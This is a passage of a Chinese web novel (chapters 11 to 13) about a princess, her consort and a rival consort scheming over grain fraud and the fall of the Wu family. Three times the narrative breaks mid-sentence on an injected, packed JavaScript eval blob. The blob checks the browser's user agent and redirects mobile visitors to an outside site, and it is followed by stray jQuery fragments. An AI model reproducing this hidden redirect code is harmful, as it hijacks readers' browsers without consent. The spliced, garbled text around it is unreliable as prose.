他一眨不眨地盯着商景徽,那是公主第一次,从这双眼睛里看见了令人安心的情绪。
商景徽明白他的意思,点了点头。秦处安冲她笑了一下,随后下车,回到了吴家别苑里。
“公主!您吓死奴婢了!”朱蕤见驸马走了,便开始哭诉,“我看见您掉下去,心都要跳出来了!但是又记起您嘱咐过,让奴婢和卫愈配合,拖住幡明楼的人,奴婢只能照办。可他们不知从哪里发现了不对,一定要去查看,奴婢无法,只能让卫愈继续拖着,自己偷偷跑出来找人帮忙……”
她说着说着便哭了起来,商景徽反握住她的手,劝道:“好啦,我这不是没事嘛。”
朱蕤年纪小,胆子其实也不大,遇事欠几分机灵,但悟性不差,只要好好点拨,也能将事情办得不错。
“后来呢?”商景徽忽然想到秦处安,问道。
朱蕤渐渐止住了哭,道:“奴婢情急之下,往公主府跑,谁知刚绕到后街来,就碰上驸马爷带着一众禁军往这边来。”
商景徽疑惑:“不是你叫的他?”
“自然不是,”朱蕤心有余悸,“若是奴婢去叫,恐怕这会儿驸马爷都来不了呢。”
所以秦处安是自己过来的?是巧合,还是对方猜到她在幡明楼,特意过来的?
商景徽想着想着,忽然又发现了不对,问朱蕤:“禁军?你方才说秦处安带的是禁军?”
“是啊,怎么……”朱蕤起初纳闷公主殿下为何如此惊讶,随后自己也反应了过来。
禁军……什么情况下才需要禁军出面进下臣家里?
不是拿人,就是抄家啊。
“你还见着其他人了吗?我是说禁军里的统领?”商景徽追问。
朱蕤摇了摇头,道:“没看见,不过奴婢也认不全。”
这话是说了七分,其实有十分的意思了。禁军里有调配权的几位统领,朱蕤是见过的。所以,她说没有,就是真的没有。
那么大问题来了,秦处安不是从皇帝那里调的人,那是谁派给他的人?
她能想到的,只有沈道行。
沈道行……沈府……
对了,还有粮草一事呢!
商景徽简直焦头烂额。
秦处安不知如何与沈道行说的,表哥竟然私自将禁军的人借给了他。
偏偏她今日在幡明楼发现了吴家与八州暗通曲款的端倪,而今日恰好就是沈遴启程去西北的日子。
朱蕤的话让她冷静了一瞬:“那公主,现在怎么办?要不我们去求陛下,也许陛下不会怪罪驸马——”
“不,我们先去城门口。”商景徽决断道。
“可是驸马怎么办?”朱蕤以为她不想管秦处安了,皱着脸,轻轻劝说她,“公主,奴婢知道您不喜驸马,可今日终究是他为您解围了……”
“他应该留了后手,秦处安没那么莽撞,何况他若是没有做其他准备,表哥也不会轻易将人借给他。”商景徽纵然着急,也还是耐心向朱蕤解释,“但我们现在必须要去一趟城门口,马上就来不及了,我必须见舅舅!”
11. 粮草
今日是定远公沈遴启程前往西北的日子。天幕混沌,一切都巫沉沉的。
城门口,沈遴与相送的友人作别之后,翻身上马,数千骑兵随之整装待发。
一驾马车忽然停在队伍之外,沈遴眼角眯起皱纹,心道何人胆敢在此阻拦去路。
马车上下来一人,披着白色斗篷,宽大的帽子遮住那人半张脸,叫人看不清容貌。
对方来到沈遴面前,仰面问:“定远公,可否借一步说话。”
沈遴方看清来人是商景徽。
二人来到远处一颗大槐树下,确保周围无人可以听到他们的谈话声后,商景徽才低声道:“舅父,此次八州往西北运送的粮草,有问题!”
沈遴听后,目光一闪,迟疑了片刻,商景徽始终坚定地盯着他。两鬓斑白的国公爷微微倾身,眸中闪过谨慎的小心,问:“此话当真?”
“当真,”商景徽神态严肃,解释道:“我亲眼看见了吴家与其中五州往来的信件,但他们太狡猾了,没留下一丝证据。此事还需继续查下去,舅父放心,我会想办法,让他们交代。”
沈遴看着她,饱经风霜的脸上满是失望,征战多年,他没想到,有朝一日,威胁竟会来自后方。
然而,此刻感慨无益,沈遴叹了一口气,道:“眼下,当务之急是要解决粮草的缺口。”
“如今的大靖不缺粮,不过民间传言今年收成不会好,各方都铆足劲存粮,恐怕此时粮食价正贵。”商景徽分析完当前的情况,话锋一转,眼中含了笑,她说:“朝中不是盛传,秦国公主出降,搬空了半个国库么?那就让他们看看,半个国库值多少粮草。”
沈遴皱了眉头:“景徽!那些钱是你用来自保的,那是你父母给你的,怎么能——”
商景徽不在意地笑笑,说:“钱是可以一直赚的,何况,这都是玩笑话,我还不至于倾家荡产。更何况,我不是和舅父说过吗,今年冬日,我们暂可休战。而且等此事查明之后,银子自会有人补齐的。”
商景徽神情并不紧张,让人不自觉放下心来,她语气平静镇定,道:“那批粮草还有半个月才陆陆续续送到西北,请舅父嘱咐大表兄,定要小心检查,若能一击抓住把柄,便可早日纠出蛀虫。我会尽快在一个月之内,另送一批粮草过去,至少够挺过两个月。”
如今,他们并不能确定八州在粮草上动了什么手脚,又没有可靠的证据,只能暂时等待,查出问题后再一击制敌。
中间耽误的时间和粮草,商景徽还能撑一段时日。
商景徽与沈遴作别后,坐上马车,打道回府。
芊蔚自庄子上回来后,便一直在公主府等待她们的消息,由于无人来府上报信,她并不知道商景徽在幡明楼差点遇险。
商景徽进了书房,三个人关上门,才拿出吴家向四大商借贷的账册。芊蔚这才听朱蕤讲述幡明楼所遇之事,也是一阵后怕。
商景徽从书架后面开了一个暗格,先皇后的遗物就放在里面。她又顺手将三本账册放进去,存好之后,才带着朱蕤和芊蔚回卧房,换了一身衣服。
此时已至未时,卫愈已经趁着幡明楼大火之乱,带人回来了。
“幡明楼最后怎样了?”商景徽端坐于书房上,问道。
“一把火烧尽了。”卫愈脸上还带着灰,但他人高马大,并不显得狼狈,“驸马后来查封了椟院——就是吴家那个别苑,最后带着查出来的东西,去了宫里。”
商景徽静静听着,目光落在虚空里,看上去是在思索着什么。半晌,她才点了点头,表示自己知道了。
“你也回去歇一歇吧,今日之事,就当没发生过。”
卫愈退下,商景徽唤来管家,道:“今日盯紧些,若是宫里有消息,一定要通报。”
秦处安带着人直接将椟院搜出来的东西送进宫,可他并未事先获得皇帝的准允。那只能说明,秦处安先斩后奏,带人出发的时候,才将折子递上去。
商景徽揉了揉眉心,又过了一个多时辰,周兴带了一个小太监进来。那小太监是大庆宫里的,说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383557|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
驸马托他来传信:
“陛下已下令,即刻查抄吴家,如今沈统领已经带人过去了。驸马还说,朝中事务繁忙,今夜就不回府来了,请公主殿下不必担忧。”
商景徽听后,依旧是惯常八风不动的样子,只是对小太监浅浅笑了笑,抓了一把金瓜子,让朱蕤递给他。
朱蕤送走了小太监,回来问:“公主,这件事就这样过去了吗?”
商景徽摇了摇头,道:“说实话,此事做得太仓促了,世家恐怕不会善罢甘休。等明日,他们反过闷儿来,恐怕还要找茬。”
“今日就先这样吧,你们都早些休息,明日一早,,八成得进宫一趟。”商景徽起身,传了沐浴,而后便歇下了,没叫人守夜。
商景徽脑子里一团乱麻,躺在床上,也是辗转反侧。她回忆今日种种,总觉得哪里有些不对,可又实在想不通。
秦处安可不像是这么冒进的人,事情不逼到头上,他才不会主动出击。
虽然她和“秦处安”也就认识了几天,可她看得出来,秦处安确实跟秦简不同,完全不同。
秦处安这人平日里看着蠢,但这基本都是装的。
谁知道安的什么心……看着好像不是坏心……
——可她只跟秦处安相处了几天啊。
翌日,商景徽起得很早。
这个时节,大部分花已经凋谢了,树木换上绿装,公主府里树多,清晨鸟鸣不绝。
商景徽头发还半披着,着一身素衣,倚在窗边,半是出神半是欣赏地观鸟。
昨夜如麻的思绪半分未解,但经过一宿的沉淀,也消去了大半,剩下的,商景徽暂且把它们归结为连日太忙事情太多带来的疲倦。
于是说得清的道不清的心绪,一时间都叫欢快的鸟鸣驱走了。
早膳过后,宫里再次传来了消息,来传信的是沈道行身边的人。
传信人慌里慌张地禀报:“公主殿下,请您进宫一趟吧!驸马爷和二公子,如今已在大庆宫外罚跪了快一个时辰了!”
12. 轻罚
“昨日午时,驸马爷忽然找到二公子,说公主殿下误闯了幡明楼的暗室,恐怕有性命之虞。”传信人跟着公主的凤舆,低声陈述,“驸马与二公子商议之后,二公子便借调给驸马几十人,驸马直接将查抄椟院的折子递到陛下的龙案之上,便带人出发了。”
“所以,他应当是在椟院就查出了事?”商景徽问。
传信人擦了擦额头上的汗珠,回道:“椟院里藏着吴家卖官鬻爵的罪证,兹事体大,驸马直接呈报给陛下。此前,吴家本就因凤光楼受贿、强抢民女、擅行私权等事惹得众怒,数罪并罚,陛下下令,连夜查抄吴家。吴石青父子当即便被看押起来,府中家眷也都暂且软禁在吴家宅子里,由禁军把守。”
朱蕤不解,问道:“那这不是挺顺利么?怎么驸马和二公子还被罚了?”
传信人满脸焦急,拍了一把自己的腿,道:“这毕竟是先斩后奏,陛下看到驸马的折子时,椟院里的罪证都被抬到宫门口了!今早以王大人为首的一众朝臣,联名弹劾驸马越权行事。二公子似乎早料到了这一出,清晨陛下还未上朝便负荆请罪去了。这还好,是真查出了事,若是连吴家的把柄都没抓住,如今进天牢的就是二公子和驸马了!”
“那么公主,如今可还有转圜的余地?”朱蕤语气里带了些担忧,转头问商景徽。
商景徽神色严肃,可语气并不紧张,她说:“陛下的第一大患是推倒吴家,驸马与二公子恰好帮他做成了这件事,所以,陛下从内心里是不会怪罪的。”
“只是,越权行事也是真的。秦处安一夜之间抄了吴家,世家人人自危,自会找他的麻烦。对方弹劾得有理有据,父皇身为君主,必须要罚,但也只是做做样子,否则我如今根本没有进宫的机会。”
马车行至宫门口,停了下来,商景徽在下车前对朱蕤说:“我们此行,就是要给父皇一个理由,一个赦免二表兄和驸马的理由。”
朱蕤认真听了一路,似乎明白了些什么。看着商景徽含笑的眼睛,她点了点头,扶着公主下了车。
商景徽到了大庆宫门口,就见一文一武两个人在殿外跪得笔挺。她面无表情地走过去,路过两个人时,还是鬼使神差地回头看了一眼。秦处安恰好抬头,眼睛里映着亮光,冲她笑了一下。
真是一点也不像被罚了的样子。
商景徽转过头不再看他,径直往殿门口走过去。
张福全像是料到她会来一般,就侯在殿前丹墀上。见她一来,老远迎上去,满脸堆笑,道:“公主殿下,您可算来了!陛下正气着呢!”
商景徽笑道:“公公这话说的,如今驸马惹了父皇生气,我忝着脸过来,不给父皇添堵才是好的。”
张福全低声对商景徽说:“昨夜,惠贵妃来过。”
商景徽挑眉,看上去有些惊讶,问:“贵妃来求情吗?”
“不是,”张福全声音压得更低了,否认道:“贵妃娘娘就来给陛下送了碗汤,跟吴家有关的事,一个字也没说。”
这才正常,吴家的各种罪证接连被爆出,闹了不是一日两日了,她要管得了,何必等到今天。
商景徽点了点头,温声道:“多谢公公提醒。”
皇帝的案上堆满了奏折,此时正一人低头批折子。商景徽将侍从留在殿外,一个人进来了。
皇帝听见了她问安的声音,没有抬头,只是叫她起来,用带着威严的声音,问:“来了?”
公主笑着来到皇帝身边,给父亲揉着肩膀,问:“父皇处理了一夜政务,这会儿该累了吧?女儿陪您聊会儿天。”
“呵,”皇帝冷哼一声,反问道:“朕忙了一宿,拜谁所赐?”
商景徽故意略过这茬,道:“昨夜女儿也没睡好,担惊受怕了一宿呢!驸马传信说不回府了,女儿心想,驸马常在父皇身侧侍立,他回不去,朝中一定是出了什么大事……”
皇帝直接截住了她的话头,揶揄道:“所以今早是赶着来救你那夫君了?”
商景徽走到皇帝身前,给父亲倒了一杯茶递上去,道:“当然不是,作为晚辈,女儿是担心您气坏了身子;作为公主,我还要恭喜陛下,铲除了一佞臣呢!”
皇帝扔下折子,接过茶盏,神色略微缓和了些,终于开始说正题:“驸马此事做的,太冒失了!你是没听见,今日在朝堂上,他们都怎么说的!”
“无非就是说驸马先斩后奏,目无王法,私自带人闯入重臣私宅,简直不把皇室放在眼里;要么就是说他越级行事,暗自拉拢禁军统领,合伙为难朝廷命官……”商景徽说得绘声绘色,不知道的,还当她身临其境听见了呢。
“可是父皇,驸马是什么样的人,您是最清楚的。那是父皇钦点的探花郎,又被您委以重任,父皇千挑万选的人,他们这样诋毁,到底是谁不把皇室放在眼里……”
商景徽声音渐低,抬眼觑着皇帝的神色。
这些话若是放在上一世去说,那或许是真心的,不过上一世她是万万说不出这种话的。这一世说得出了,却不真了。秦处安人品是否真的那么贵重,她说不好,可首先,必然是犯了欺君之罪的。
罢了,无非是几句“公主娇蛮口不择言”的话,也无所谓是非。
皇帝再次止住了她的话,道:“你这孩子,说话如此不小心,若是传出去,明日他们弹劾的就是你了。”
商景徽见好就收,赶紧低头认错:“儿臣知道错了,父皇。”
说罢,她又抬眼看着皇帝,求道:“这会子日头也大了,女儿不想一个人回府。”
“行了行了,”皇帝摆了摆手,又向殿外喊道:“张福全!”
张福全从殿外跑进来,皇帝命令:“去把殿外那两个喊进来!”
商景徽退到一边,秦处安和沈道行进来听旨。
“翰林院修撰秦处安,呈报不及,行事鲁莽,罚俸一年,停职半月。殿前都指挥使沈道行,御下不严,念及认错良好,罚俸半年,引以为戒。”
皇帝下完旨,连早有预料的商景徽都有点惊讶。
罚得也太轻了。
皇帝这是摆明了要保他们。
地下二人谢了恩,皇帝便开口撵人:“行了,回去好好面壁吧。”
三人告退,一同出了大庆宫,往宫门口去。
“哎呀,终于可以回家歇一歇了,这两日可真是累死我了。”秦处安语气轻松,晃了晃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383558|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手臂,道。
商景徽不语,自顾自往前走,倒是沈道行接话,道:“呵,驸马爷,你是被停职了,不是休沐了。”
秦处安却不在意:“那有什么区别吗?反正结果是一样的,不用上朝,也不用再听那些老顽固啰嗦了,清净几天多好。”
商景徽听着这二人你一言我一语,纳闷他俩何时关系如此熟稔了。
沈道行见她面色不好,便来到她身边,笑道:“景徽啊,咱们兄妹也该一起吃顿饭了吧?麻烦我这些回,没点表示不合适啊。”
商景徽皮笑肉不笑,道:“二哥哥这话说的,怎么就没表示呢,早晚有一日,妹妹会给你介绍个姑娘,表示我的感激之情。”
“是吗?”明知是玩笑话,沈道行却认真思考起来,煞有介事地说:“表妹知道我喜欢什么样的女子吗?我喜欢——”
商景徽没给他说话的机会,直截了当:“二哥哥放心,我找的,你肯定喜欢。”
沈道行见她神态上似乎带了点认真,敛起玩笑的表情,问道:“你认真的?”
“我何时不认真了?”
“切,你快歇歇吧,大哥都还没成家呢,我着什么急?”沈道行声音低了,却带了几分认真。
商景徽语气里染了一丝微不可察的悲戚:“大哥不是已经定下了?没准儿今年冬日,就能成了。”
上一世,就差一点,尚未礼成,沈衡战死,那位姑娘后来出家了。
沈道行没注意他情绪的变化,秦处安却走过来,接话道:“大表兄之事指定能成,之后,可不就轮到二表兄了?”
商景徽尽力掩去悲伤,玩笑道:“就怕到时候,你钟意的姑娘,未必喜欢你啊!二哥哥,你可要早些收一收性子,少想些吃吃喝喝的事,更不要整日骑着马招摇过市,引得一众姑娘招红袖。”
沈道行生的俊俏,又会说话,好着鲜衣,每每骑马从街上过,两边小楼上时常站满了看他的姑娘。
云阳城里的公子哥儿里,沈道行可谓是品貌第一,风流无二。
沈道行揶揄道:“不知道的,还当你是我姐姐呢!”
商景徽:“哼,你且等着就是了。”
三人聊笑着,出了宫门,商景徽自己上了车,秦处安回头对沈道行道:“半个月后再见,二表兄!”
沈道行不知说了一句什么,商景徽没听清,而后,秦处安便上车了。
一路上,商景徽闭目养神,秦处安安安静静坐在一旁。商景徽也不知对方在做什么,一路无话。
马车停在公主府,商景徽睁眼,见秦处安正看着她,也不知是不是就这样看了一路。这个念头一冒出来,她自己愣住了。
秦处安就先行下车,在车下朝她伸出手,提醒道:“公主,回府了。”
商景徽的目光在秦处安的脸上和手掌上逡巡了一圈,想了想,还是将手搭上去,秦处安就这样稳稳拉着她下了车。
兰若等在门口,商景徽见了她,知道是带了消息回来,于是快步上前,几人进了门。
“如何?”商景徽带着人回了书房,问道。
兰若:“公主,上次您吩咐我们查的药,是给男子避子的药。”
13. 良机
“你确定是男子不育的药?”商景徽手上的动作顿住了,转身问兰若。
兰若:“千真万确,起初奴婢也怀疑是大夫看错了,后来又问了两家,都这么说。”
“那这如何说的通?”商景徽往前走了两步,细细思索着。
“母后特地留下的遗物,为何会有这种药呢?”
秦处安脱下外袍,由侍从接过去。他想了想,踟蹰道:“嘶……我说句大逆不道的话哈——”
商景徽回头,看着他为难的神色,立马知道他要猜什么,打断了他:“不可能,若是你想的那样,商铖是不会出生的。”
“但是公主殿下,你可只有商铖一个弟弟,另外两个妹妹,都快成年了。”秦处安犹豫半晌,又说出了另一个猜测。
先皇后不会做这种事情,惠贵妃可未必。
公主走近了几步,低声问:“所以,你是想说,这药跟卢清婉有关?”
秦处安没说话,只凝视着她。
商景徽看着案上的茶盏,思量了半晌,才问兰若:“这个药的药效是多久?”
“须长期服用,停上几天便会失效。”
如果秦处安的猜测属实,那么后宫多年无所出,只能说明,卢清婉还在下药。
“太医院那边安排好了吗?”商景徽随即想通,便开始布局。
兰若的声音一如既往不带起伏:“已经安排妥当了。”
“那就去查。”
康德帝的后宫并不充裕。自先皇后薨逝后,只进行过两次大选。况且,康德帝忙于政务,对后宫、子嗣方面似乎不是很上心。多年来后宫无所出也未必就是药物影响。
商景徽将此事暂且抛下,坐到书案之后,唤来芊蔚和瞿影,吩咐道:“你二人出趟远门,带着清集的牌子,去南边购一批粮,借商道运往西北,时间紧迫,一个月之内,要让大表兄看到这批粮。”
二人悉知此事紧急,领命之后,当晚便扮做商户,出发往南边去了。
只靠他们,是不可能搞到西北军防几个月的粮草的,朝中还需有人出个血。
秦处安大致猜出了她的意思,还是故作不懂的样子,问商景徽:“公主,解铃还须系铃人,所以西北粮草,由谁承担合适呢?”
商景徽淡淡瞥了他一眼,见对方神情居然很认真,只得将自己在幡明楼底下看见的密信讲与他听。
秦处安细细听完,替她分析,道:“那些密信本就模棱两可,如今,又被一场大火烧了个精光,肯定不能作为证据了。”
“但——”他话锋一转,道:“公主殿下,你知道此次主理吴家一案的人是谁吗?”
商景徽不解地看着他。
秦处安替两人斟了茶,端起茶盏,润了润喉,才继续讲:“吴家被查抄之后,皇帝将此案全权交由侍御史岑石君调查。此人家世清白,为人刚正不阿,甚至有点一根筋。”
秦处安撂下茶盏,叹道:“其实说实话,这样的人不适合做纠察,圆滑不足,太容易得罪人。但此时皇帝要整治世家,正需要这样的人才。而且,御史中丞两个月前不是薨逝了吗?这个空位缺人补上,岑石君如今只是暂行正职之权,就差这个机遇往上走一步。”
商景徽怎么能听不懂他的意思,于是接话道:“所以,我们可以从他身上入手,利用岑石君去查西北粮草之事。”
商景徽吩咐兰若,顺带举一反三,道:“你先找人给岑石君投几封匿名诉状,状告世家暗通州官,在西北粮草上动手脚。另外,遣人快马加鞭前往五州,直接去他们州府,就说,陛下已经得知是谁暗中勾连他们,若早日呈上来往证据,可令他们功过相抵。”
单凭吴家,是万不敢调换西北粮草的。定远公府倒台,最大的得益者还轮不到吴家,他们没有动机去冒这样大的险。
所以,其他几家肯定也参与了此事,尤其是王、卢两家。
这一趟,就是为了解决“粮草由谁解决”的问题。
秦处安十分会夸大自己的欣赏,赞道:“公主殿下,您这招实在是令在下刮目相看啊!只要证据一到,世家必然心虚。到时候,自然会有人补齐粮草亏空。”
商景徽勾了勾唇,又补充了一句,“就以楚国公主的名义。”
秦处安眼睛亮了,露出意外的神情,道:“公主殿下,直接明牌了吗?如此迷人!”
商景徽脸上空白了一瞬,眼珠错了一点,又转回去,让兰若去办事,而后才跟秦处安说:“只是可惜。”
秦处安尚在观察她的神情,一时没反应过来她的话,下意识问:“可惜什么?”
商景徽没看他,饮了一口茶,垂眸解释:“此次我们逼得世家放弃吴家,那么一切罪名,都只能由吴家自个儿承担了。”
秦处安却笑了,意有所指,道:“此言差矣,公主殿下,何不为我们的良机?”
“什么?”
“世家既然可以放弃吴家,那么未尝不会放弃其他家族。”
皇城,礼和宫。
惠贵妃宫里的内侍弯着腰,对殿外等待的王甫谦道:“王大人,您先回去吧。贵妃娘娘今日身体不适,不见客。”
王甫谦头发早已全白,脸上爬满了皱纹,在早晨的阳光下显得愈发沟壑纵横。他浑浊的老眼望着礼和宫紧闭的殿门,道:“劳烦公公向贵妃娘娘传句话,老臣就倚老卖老这一回,以舅父的身份求娘娘,给吴家求个体面。”
他拭了一把额上的汗,继续道:“于公,京城五大家呼吸相通,理应互相照应,如今我们若是弃吴家于不顾,何以世家?于私,淑云是娘娘的亲表妹,娘娘忍心看着她落入如此境地吗!”
内侍露出为难的神色,只能连连哈腰:“奴婢一定原话转告给娘娘!如今日头大了,王大人当心身体,先回吧。”
王甫谦只得告辞,内侍将他送出礼和宫,回来后,见惠贵妃就站在殿门口。
“不必说了,本宫都听见了。”纵然是后宫里最在意容貌的贵妃,如今眼下也印着乌青,她悠悠转过身,往殿内走去,冷笑一声:“呼吸相通?本宫这位舅父啊,就爱说些冠冕堂皇的话。”
商铖从后殿走出来,道:“可是母妃,王家毕竟还对咱们有很大用处。舅公一向宠爱表姨,咱们这次要是弃了吴家,王家那边,恐生二心啊。”
“呵,二心?咱们保了吴家,王家就不生二心了吗?你真以为他对咱们一心一意,谁不是为了自己?”惠贵妃斜靠在榻上,道:“当初,王家一定要东北那座山,你当他是为了什么?他那是给自己留后路呢!”
惠贵妃转向商铖,道:“铖儿,那座山是给你坐上那个位置的最后保障,王家死死捏在手中,不就是在给他自己加码。”
卢清婉前世尽心尽力庇护世家,结果商铖登基后,王家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383559|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翻脸不认账,仗着那座矿山,为所欲为,王甫谦简直要自封摄政王了。
卢清婉早就恨得牙痒痒,这一世,她必须要抓紧将那座矿山的处置权拿回来。
她摸了摸头上的金簪,眼里满是恨,她对商铖说:“你要多多联系你舅舅,将那座山拿回自己手里。”
商铖笑道:“这是自然。”
卢清婉语气缓了缓,道:“再者说,吴家早已药石无医,你父皇铁了心要除掉吴石青。弃了吴家,总比跟你父皇较劲要好得多,你是你父皇唯一的子嗣,皇位指定是你的。咱们只要等着你父皇老了,就是十拿九稳了。”
商铖站在贵妃身边,回想吴家遭难的经过,道:“那位驸马不是个好的,这才上任了几日,父皇就如此器重他。吴家倒台,也是拜他所赐。他私自借用禁军,越权行事,结果父皇才停了他半个月的职。母妃,此人咱们是否要多加小心?”
“驸马?”卢清婉冷笑道,“可不止驸马,还有咱们那位楚国公主呢。”
“皇姐?她能翻出什么花样来?再如何折腾,她也折腾不到皇位上来吧?”商铖眼中是不加掩饰的轻蔑。
“就算她翻不到皇位上去,你也绝不可掉以轻心,自古以来,权势滔天的长公主可不在少数,就算她威胁不了你的地位,但她给人添堵的本事也不小呢。”
卢清婉走到花盆边上,折下一枝花来,拿在手中赏玩,又道:“不过,你也不必太担心,母妃会替你压住她。何况,她与驸马之间,可未必和谐呢!”
商铖看着惠贵妃玩味的神色,并不知其中隐情,便问道:“母妃这是何意?”
“有些事情,少一个人知道反而更好。你只需看着就够了,总有一天,他们二人自会闹出大事来。铖儿,你现在的当务之急,是要在朝中培养自己的势力,首先要挣得好名声,再得到朝臣们的支持。”
两日后,侍御史岑石君递上折子,称在查办吴家贪贿案的过程中,有人指认吴家暗自买通地方州府调换西北粮草。又过了三日,岑石君又呈上了健州、喻州、博州州官的检举密函,说吴家逼迫他们偷换粮草一事属实。
然而,密函中只提到了吴家一家,并未涉及其他几家。
得知消息,卢清婉讽刺道:“舅父还是在亲情和王家之间选择了王家啊,他自己都放弃了吴家,我们还能怎样呢?”
卢清丰坐在下首,道:“舅父偷换了密信,将王、卢两家从中抹去,倒还不算老糊涂。”
“不过兄长,咱们这位表妹,可不是省油的灯。向来掐尖要强倒没什么,就怕她蠢劲儿上来,将我们都拉下水。”
卢清婉口中的表妹,正是吴石青的夫人,王甫谦的独女,王淑云。
卢清丰:“她竟然知道个中细节?”
卢清婉嗤笑道:“舅父,还有吴石青,做什么都不避讳她,何况她岂是容得下他人隐瞒的人?”
卢清丰眼中露出阴狠的光,他抬头,对着上座的妹妹说:“那我们只能先一步动手了。”
“公主,外头传来消息,吴家大娘子带着儿媳服毒了。”
兰若来报时,商景徽正在捧着书卷在廊下读书,秦处安依旧陪在一边。
“果真如你所料,卢氏动手了。”商景徽放下书卷,道。
秦处安对她笑了笑,转头又问兰若:“那我猜,王家还有其他动作,会是好消息吧?”